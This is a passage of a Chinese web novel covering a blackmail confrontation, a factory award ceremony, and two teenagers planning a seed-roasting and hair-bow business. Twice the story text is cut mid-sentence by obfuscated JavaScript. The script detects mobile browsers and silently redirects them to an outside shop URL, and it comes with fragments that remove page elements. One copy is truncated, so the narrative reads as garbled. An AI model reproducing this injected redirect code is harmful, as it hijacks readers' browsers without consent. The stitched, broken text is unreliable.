“呦!就知道挑我的毛病啊!”王桂香嘲讽道,“当时,你们一笔一笔的把汪顺莲、于闻仲一家子的收入、花销算的清清楚楚,我还以为你们多厉害呢!结果呢?翻出来的铁盒子里就那么一点钱!还想把贪污的名头甩到人家身上,你当别人都是傻子啊?” 王桂香现在就是后悔,“我要不是被那么唬住了,绝对不会干这种事的。如果我没干,现在还是堂堂正正的供销社职员。不至于像现在一样,在供销社战战兢兢,拿的钱也少的可怜!” 前几天接到妹妹寄过来的信,问她之前说好的工作有没有消息,又说她在家里过的很可怜,父母总是嫌弃她多吃饭,说她像猪一样。 王桂香想寄点钱回去,但工资被扣之后,只够她一个人生活,根本没有余钱往回寄。 “你们要给我赔偿!”王桂香说道,“否则,别怪我把你们捅出去!” “你……”王飞龙被王桂香镇住了,“我们是一伙的,你把我们捅出去,你自己也脱不了干系!” “我已经受到惩罚了!”王桂香现在是死猪不怕开水烫,“你们一家人躲在我身后,安安稳稳的。我倒是想知道,汪顺莲、于闻仲知道你们一家人像监视罪犯一样监视了他们家十几年,会露出什么样的表情!” “你不要冲动!”王飞龙不知道该如何是好,但他明白,绝不能让汪顺莲、于闻仲知道他们家在背后干的事,“你要多少?” “至少得三十块钱吧!” “三十?”王飞龙不想给,“有点多吧?我爸的工资,一个月也才六十多!” “那我不管!”快过年了,王桂香寄回去的钱,非但不能比以前少,还得比以前多,“少一块我都会把你们的事情告诉汪顺莲!” “我回去跟我爸商量一下!到时候再联系你!”王飞龙无奈妥协道。 “尽快给我消息!”王桂香重新蒙上脸,悄悄从小巷子里溜走。 王飞龙看着她离开的背影,脸色越来越沉。 三十块不多,如果能让这件事永远埋在地底下,那倒是很值,只不过……这会是最后一次吗? 王桂香这个女人,有了这个把柄,就只会用这一次吗? 王飞龙不这么认为! 29. 新生意! 机械厂,大会议室,付文华和厂里的领导齐聚一堂,开始召开为员工解决问题的会议。 当然,在会议开始之前,要先公布本年度的‘优秀标兵’。 不同于之前的公示,现在公示期过了,已经是板上钉钉了。 “首先恭喜于闻仲于师傅!” 于闻仲站起身,和气的朝大家鞠了一躬! “还要恭喜王建钢王师傅!” 一个稳重的男人从另一边站起身,朝大家鞠躬。 于闻仲这才仔细的看见王建钢的脸。 两人年纪差不多,也是差不多时间进到厂里的,刚开始那会,于闻仲跟他的关系还不错,后来,两人拜了不同的师傅,有了不同的朋友,关系便开始渐行渐远。 到现在,两人虽然还是在一个厂里,但平日几乎不见面,也没什么交流,就算迎面相撞,也就是点一个头的关系。 所以,当汪顺莲和于秀雅问他,上辈子王建钢的儿子王飞龙处心积虑接近她,是不是因为于闻仲跟王建钢闹过矛盾? 毕竟,这种深思熟虑,背后监视谋划到连她家的钱藏在哪里,有多少都清清楚楚的程度……不是小辈的恩怨能解释的,而汪顺莲又不认识王建钢一家,唯一的可能就是于闻仲跟王建钢闹过矛盾,且不是小矛盾! 于闻仲被问的一头雾水,他茫然的摇摇头! 别说矛盾了,两人几乎没有吵过架! 在于闻仲的记忆里,两人一开始的关系还挺好的,如果不是因为拜师分开,说不定会成为好兄弟、好哥们,当时分开那会,两人一开始还是会见面的,后来突然断了,于闻仲本来是想找他聊聊的,不过,当时他也忙,厂里要学东西,争取往上升,厂外也刚跟汪顺莲认识,忙着追她。 在老婆和‘普通朋友’之中,于闻仲毫不犹豫的选择了老婆。 这么一拖,两人的关系也就那样了。 于闻仲坐在椅子上,听着付文华慷慨激昂的演讲,脑子里翻来覆去的想原因。 怎么就得罪了他呢?因为什么得罪的呢?两人不是一个师傅,之间也没什么竞争,后来两人都顺顺利利的升了八级工,连嫉妒都没理由嫉妒啊! “于师傅!”付文华坐在上面开口问道,“您对这件事怎么看?” 于闻仲回神,清了清嗓子,说道,“确实是会给财务人员增加工作量,不过,我倒是觉得也不是不可行。换工只是车间里的事,没必须非得到财务室做记录,车间里可以选举几个品行好的老同志,分管不同的厂区,有需要更换的到选举出来的老同志那里登记。 双方签好字,把钱换算成工时,到月底一并交到财务室。虽然也会增加一些工作量,但车间里有急事需要换工的人也不会太多,增加的工作量也是有限的。而且一个月只需要忙一次,就能给很多车间的员工提供方便!” 于闻仲说完,付文华眼前一亮。 财务室反对的原因就是工作量太多,活又碎又杂,万一出错,还要替别人承担责任,所以他们都不想干。 按照于闻仲的想法,把平时登记之类的零碎散活分配给车间的人,月底统一交一张表上去,财务室也不会再喊累。 万一出了错,有一张表做证据,是谁的问题一目了然,也不用再担心会替别人背锅。 “于师傅这个想法很好啊……” 大会开完,所有的领导都走进车间,开始颁发本年度的‘优秀标兵’。 当然,除了这件事,还有另外一件重要的事:厂里给冯腾飞的处分下来了! “冯腾飞,你的行为虽然算不上诬告,但是,你不知感恩,恶意中伤于师傅的行为破坏了厂里的团结,违背了厂里倡导老师傅带徒弟的初衷,开了一个很不好的头,严重影响厂里明年就要实行的新政策,鉴于此,现在厂里将你从三级工降为二级工,希望你能从中吸取教训,做一个感恩的人!” 冯腾飞涨红着脸接受了厂里的处分。 做一个感恩的人? 他心里很不屑! 于闻仲嘴上说把他当徒弟,还不是防着他,要是当时就说清楚,他也不会多此一举,去找厂长举报! 说是为他好,其实就是想阴他一手。 现在搞得全厂都针对他,还从三级工降到了二级工。 以后,只要于闻仲还在这里,上面的领导绝对不会再重用他! 难道以后就只能在机械厂里混日子吗? 不行! 冯腾飞不服,他可是家里唯一飞出来的金龙,不能一辈子蹉跎在这里。 今年过年回去要跟父母商量一下,想想办法,看能不能调到其他厂去。 不管什么地方,也不管比机械厂是好是坏,总之,只要离开机械厂,去到那里都比待在这有前途! 拿了‘优秀标兵’的荣誉,于闻仲兴奋的回到家,刚进家门,就闻到了肉的香气,“今天怎么吃肉了?” 他走进厨房,故意把‘优秀标兵’的证书放在身后,笑着问道。 汪顺莲回头,看见于闻仲那幅高兴的样子,就知道肯定有好事发生,“‘优秀标兵’的证书发下来了吧?” “你怎么知道?”既然已经被猜到了,于闻仲也只好老老实实把身后的证书拿出来。 “我们供销社的也发了!”汪顺莲指了指桌子上摆放的证书,“想着你们厂应该也差不多是时候发了。” 家里一下子出了两个‘优秀标兵’,怎么说也是个大喜事! 更何况,这两个‘优秀标兵’的意义不一样! 一个是庆祝汪顺莲保住了在供销社的工作,一个是庆祝于闻仲摆脱了养不熟的白眼狼冯腾飞! 这是于家迈向新生活的新起点! “今天晚上好好庆祝一下!” 汪顺莲在家里忙着做饭的时候,于秀荷正在沈立春家忙着做蝴蝶结! 沈立春给于秀荷端来了一小碗的瓜子,“我奶奶做的,你尝尝!” 快过年了,家家户户都开始买年货,瓜子当然少不了。供销社卖的最快的除了糖果,就是瓜子。 有人喜欢买炒好的瓜子,回来就能吃。也有人喜欢买生瓜子,拿回来自己加工。喜欢咸一点的多放盐,喜欢淡一点的少放盐。 汪顺莲也买了一些放在家里,不过,她比较忙,买的都是别人炒好的。 于秀荷不爱吃,觉得吃起来太咸。 这些既然是沈奶奶自己做的,倒不妨尝一尝,说不定正好对她的口味呢! 把整理好的布放在一边,于秀荷洗洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390216|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手开始嗑瓜子,第一颗吃进嘴里,她惊呆了! 这个味道…… 不能简单的用合不合口味形容,淡一点咸一点是个人口味,但瓜子的酥脆感和香气,跟买回来的完全不一样,相比之下,简直是天差地别! “奶奶怎么做的,这也太香了吧!”于秀荷一颗一颗,吃的停不下来。 沈立春眯起眼睛,笑了笑,说道,“奶奶炒瓜子的时候喜欢放一点沙子,说是受热更均匀,也能更吸水,炒出来的瓜子,又干、又脆、又香!” 确实是又干、又脆、又香! 于秀荷刚吃几颗就爱上了,像小松鼠一样,完全停不下来。 跟这些新鲜出炉的瓜子相比,供销社那里卖的简直就是放了太久,已经受潮的过期货! 要是拿出去卖…… 对啊!可以出去卖瓜子啊! 蝴蝶结市场总有饱和的时候,一旦饱和,销量肯定立刻大跌! 因为江城的人口是有限的,能买得起蝴蝶结的人也是有限的,买了蝴蝶结放在家里,想戴的时候戴,不想戴的时候蝴蝶结也不会消失,没有买第二个的需求。 就算小孩子想买,大人也不会同意。 瓜子就不同了,这东西一年四季都有人吃,而且,瓜子跟蔬菜一样,今天吃了就没了,明天想吃还得买。 如今的零食种类很少,既没有薯片,也没有奶茶,不管大人还是小孩,出去看电影,聚在一起说话,想吃点东西的时候就会买点瓜子。 去年还是前年,不是出了一个很有名的卖瓜子的人物吗?叫什么来着?对了!傻子瓜子!那个卖傻子瓜子的人! 就沈奶奶这技术,只要出去卖,不管是谁,尝过第一颗,就绝对会买! 不过……沈奶奶的体力不行,如果要出去卖瓜子,就得让沈立春学会这一手炒瓜子的本事! 于秀荷边思考,边问道,“沈立春,这瓜子你会炒吗?” 沈立春一边专心做他的蝴蝶结,一边答道,“奶奶做的时候,我会在旁边帮忙!大概的流程都会吧!怎么了?” “我想着,奶奶炒的瓜子这么好吃,如果你能学会的话,我们还可以出去卖瓜子!”于秀荷想象的很美好,“瓜子大家都爱吃,随便找个街角就能卖,还可以去电影院门口卖,我们可以让他们试吃,只要吃下第一颗,我不信他们不买。” 于秀荷的提议瞬间把沈立春从蝴蝶结的市场里拽出来,这些天他起早贪黑,不辞辛劳的做蝴蝶结,不是不累,而是害怕,害怕一懒惰,一放松,手里的机会就悄悄溜走了,以后就再也赚不到钱了。 瓜子生意!对啊!除了蝴蝶结,他完全可以继续做其他的生意。 他现在已经不是之前那个手里没有一分钱的人了,他已经有了第一笔资金。目前,他还在赚钱,保守估计,年前他能赚到两百块。 与其把钱放在手里,等它一点一点的花完,不如把它放到靠谱的生意里,让钱继续生钱。 于秀荷提到的瓜子就是一个很好的生意。 生瓜子和炒过的瓜子价格差距很大,收购一些生瓜子回来,自己炒制,每天都可以拿出去卖,电影院门口就有很多卖瓜子的。 沈立春虽然没看过电影,但路过的时候见过。 30. 请假! “秀荷,你的脑子里天天都在想什么啊?为什么能冒出这么多新鲜的点子呢?”沈立春佩服道。 于秀荷摆摆手,“一般一般!” “不!很不一般!”沈立春是真心佩服,“要不是你提出做蝴蝶结的生意,我根本赚不到钱!你现在又提出卖瓜子的生意,我……我跟你保证,如果瓜子生意能做的起来的话,一定分你一部分钱!” “那你是愿意做瓜子生意了?”于秀荷问道。 “当然愿意了!”沈立春怎么可能放着赚钱的生意不做呢,“不过,我得跟奶奶学学怎么炒瓜子,还得赶着做这批蝴蝶结,要出去卖瓜子的话,得等到年后了!” 说起这批蝴蝶结,于秀荷又想起卖货那天想出的‘分销’办法,当时太忙,都没来得及跟沈立春讨论这个方法,正好现在可以聊聊。 “你有没有觉得,我们现在去江城一条街卖蝴蝶结,什么都要我们自己干,卖出去的速度太慢了,而且,再卖个几次,来江城一条街的人就不会再买了!” 说实话,沈立春并没有觉得慢,他觉得卖的挺快的。 做生意就这样,不可能每一秒都有客人。 沈立春以前跟沈奶奶一起在外面等着别人来找他们缝衣服的时候,往往都是等个大半天都不一定会等来一个客户。 跟那些相比,蝴蝶结卖出去的速度挺快的。 不过,沈立春知道,于秀荷这么说,一定是有话要说,他便开口问道,“你有什么好办法吗?” 于秀荷开口说道,“之前跟孙大娘聊天的时候,她建议我们去周围的村子里卖,还说,如果我们过去,她还能把村子里的人喊过来,让我们卖东西!我想,这不正好可以帮助我们拓宽客源吗? 你想,江城的人员有限,这些蝴蝶结,卖个两三个月,旧款就卖不动了。只有不断的出新款,才能刺激消费。可新款也不是说出就出,只靠新款,蝴蝶结这个生意迟早会平平淡淡。 而且,我们的蝴蝶结看着复杂,但会做针线的人稍微拆解一下,很容易就能模仿。如果再出现一个跟我们竞争的人,生意更不好做。 我想的是,干脆,我们把生意扩展出去。不拘泥于江城一个地方,就像孙大娘说的,往下面的村子走走。 虽然我们两个是没有时间去干这个事的,但是,可以让别人帮我们干啊!比如孙大娘,只要给她一部分利润,五毛钱的蝴蝶结,我们给她四毛五,她卖一个出去就能挣五分。 她不光可以在她自己的村子里卖,还能在周围的村子里卖,卖的越多,挣的越多! 除了孙大娘,想来干的都可以干,只要能卖出去,我们就能挣到源源不断的钱! 你觉得这个方法怎么样?” 于秀荷说的眼睛都亮了! 新款可以先在江城出,卖一段时间再分到乡下去卖,这样,每一款蝴蝶结的生命周期都能够拉长。 她脑海里的蝴蝶结款式已经所剩不多了! 沈立春认真想了想,这确实是个好方法,只不过,风险也大。 要出去卖,总得有东西吧! 东西怎么给?直接白给?那就得找靠谱的人。 可是,靠谱的人就可以随意相信吗? 万一东西卖不出去,他们闹脾气,觉得自己受了累,还不挣钱,一气之下不把东西还回来怎么办? 万一东西卖出去了,他们贪钱,不肯把钱拿过来怎么办? 一个两个的还能去讨要,那十个八个呢?越往大了做,风险越大,这对目前两人的小生意来说,是承受不来的。 沈立春不想败兴,没有把这些说出口,只是问道,“我们的产量有限,恐怕不需要这么多的人帮我们卖货吧!” “你傻啊?”于秀荷简直想敲敲他的脑袋,“只要能卖出去,我们完全可以找人帮忙做蝴蝶结!” 看着于秀荷对蝴蝶结的前景如此看好,沈立春也不想打击她。 “先卖着吧!等真到了卖不动的那一天,我们再想办法!” 于秀荷觉得也是,现在想再多都没用,还是先把眼下的事情做好才是正事,便问道,“给宋雪莲的一百个蝴蝶结做了吗?” “现在做了有七八十只了,不过,我们周末还要出去摆摊,估计剩不下。这几天我再赶赶工,争取多做一点!” “不着急!”于秀荷放下瓜子,“她的年后再给也行!你最近好好休息一下吧,奶奶说你天天熬夜!” 沈立春做蝴蝶结的手一顿,解释道,“没有天天熬夜,奶奶睡得早!” “总之,你千万别把身体熬坏了!不然,我一个人可没办法出去卖货!”于秀荷看外面天也黑了,便说道,“我先回家了!” 沈立春跟着站了起来,说道,“我送你吧!” “没事!天才刚刚黑,路上还有人呢!不会有事的!” 沈立春坚持要送。 于秀荷不想争辩,两人在夜色里一左一右,朝于家走去! 照旧是在离于家不远的地方停下,“你回去吧,我在这看着你!” “你路上也要小心!”于秀荷跟沈立春挥挥手,快步跑回家里。 家里刚做好饭,见她回来了,立刻说道,“快洗洗手,今天有肉吃!” 于秀荷一进门就看见了摆在桌子上的‘优秀标兵’证书,惊喜道,“爸爸,妈妈,你们都拿到优秀标兵啦?” “是啊!”汪顺莲把土豆炖鸡端出来,得意的说道,“厉害吧?” “厉害!太厉害了!” 于秀雅把证书放到柜子上,把桌子腾出来,放上碗筷! 于闻仲帮着把菜和饭都端到桌子上,说道,“不仅有证书,还有奖金呢!这个年可以好好过,不用省钱了!” 说到钱,于秀荷最近可是挣了不少。 她跑进里屋,从枕头下,她的小金库里拿出二十块,在餐桌前递给汪顺莲,“妈妈,这是我这些天赚到的钱,你拿去买过年的年货吧!” 汪顺莲一脸惊讶的接过钱,问道,“你挣得?怎么挣得?” 她倒是知道于秀荷一直在外面跑,但没想到她真的能挣到钱,还挣到这么多! “妈妈拿十块就好了,剩下的你留着慢慢花吧!”汪顺莲知道这是于秀荷的心意,但家里不缺钱,她可不想拿着小孩子辛苦赚到的钱贴补家用。 于秀荷没接,“妈妈,拿着吧!我在外面卖蝴蝶结,赚的可多了,二十块是给家里的,我那里还有钱呢!” “蝴蝶结?”于秀雅想起班级里最近兴起的那股蝴蝶结风,问道,“是在江城一条街卖的蝴蝶结吗?” “姐,你也知道?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395485|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没想到她们的名气已经这么大了! “嗯!班里很多人带,说你们卖的便宜还好看!” “嘿嘿!我们主打一个物美价廉!”于秀荷很是得意。 “你自己吗?还是……”汪顺莲问道,她觉得只凭于秀荷自己,应该做不了这个生意。她那三脚猫的缝纫手艺,做出去的东西想拿出去卖钱?估计够呛! “我跟沈立春合伙!”于秀荷大口吃饭,“他出技术,我出钱!” “行!有头脑!”于闻仲忍不住夸赞道。 于秀荷和沈立春,两个孩子出去做生意都挣到了钱,汪顺莲也动了心,她会做衣服,上辈子给人改衣服的生意也很不错。 那些衣服的款式她都记在心里,现在也还能做出来。 供销社下班之后,她可以接点给人改衣服的活,也算赚点外快。 现在改革开放的如火如荼,手里有点钱,以后才能更有底气! 于家一家赚钱的赚钱,学习的学习,工作的工作,个个过的都有滋有味! 老马办公室,沈立春敲开门,问道,“马老师,我有事找你,请问你有时间吗?” 自从上次于秀荷跟老马说了沈立春家里的困难,老马特意去街上看过之后,他对沈立春也不再眼睛不是眼睛,鼻子不是鼻子了。 放下手里的杯子,老马点点头,“进来吧!” 沈立春是特意挑的这个时间点,其他老师已经下班,只有老马还在办公室里。 他走进办公室,关上门,说道,“马老师,我想请假!” 请假?老马的第一反应是沈立春家里出了什么事! 他以前虽然经常迟到早退,但是几乎没有请过假,这次到了请假的地步,不会是……家里人生病了吧? 想起当时在街上看到的场景:一个头发花白的老人,在寒风里认认真真的缝补衣服,生病似乎也不奇怪! “是家里人出了什么事情吗?”老马思考片刻,还是问道,“需不需要钱?老师可以先借给你一点!” 沈立春摇摇头,“不是生病!” “不是生病?”老马瞬间严肃了,“那是……” “快过年了,我想出去摆摊挣点钱!”沈立春很直白的说道,“除了考试,其他的时间我都想请掉!” 摆摊?挣钱?原来是为了这事! 老马气的差点一口气上不来,直接晕过去! 这小孩,说起话来,怎么还大喘气呢? “离考试也没几天了,顶多还有一个星期,不能再坚持坚持?”老马脑子里那根‘负责任’的线绷紧了,“虽然摆摊挣钱也是正事吧!但也不差这一天两天的,你说是吧?” “我就要请假!”沈立春直愣愣的说,“考试的内容我都学完了!这几天来不来都一个样!” 一听这话,老马顿时怒了。 就他平时那点分,还都学完了! 家里困难归困难,但眼高手低就不对了。 “不批准!”老马严厉道,“你现在最主要的任务是学习,不是挣钱!这两年好好学,考好了,去上个中专,毕业出来直接分配工作,一辈子的出路就有了!” 他看着闷头只想着挣钱的沈立春就恼火,“别人都能为你的未来着想,你怎么就不能为了自己的未来想想呢?”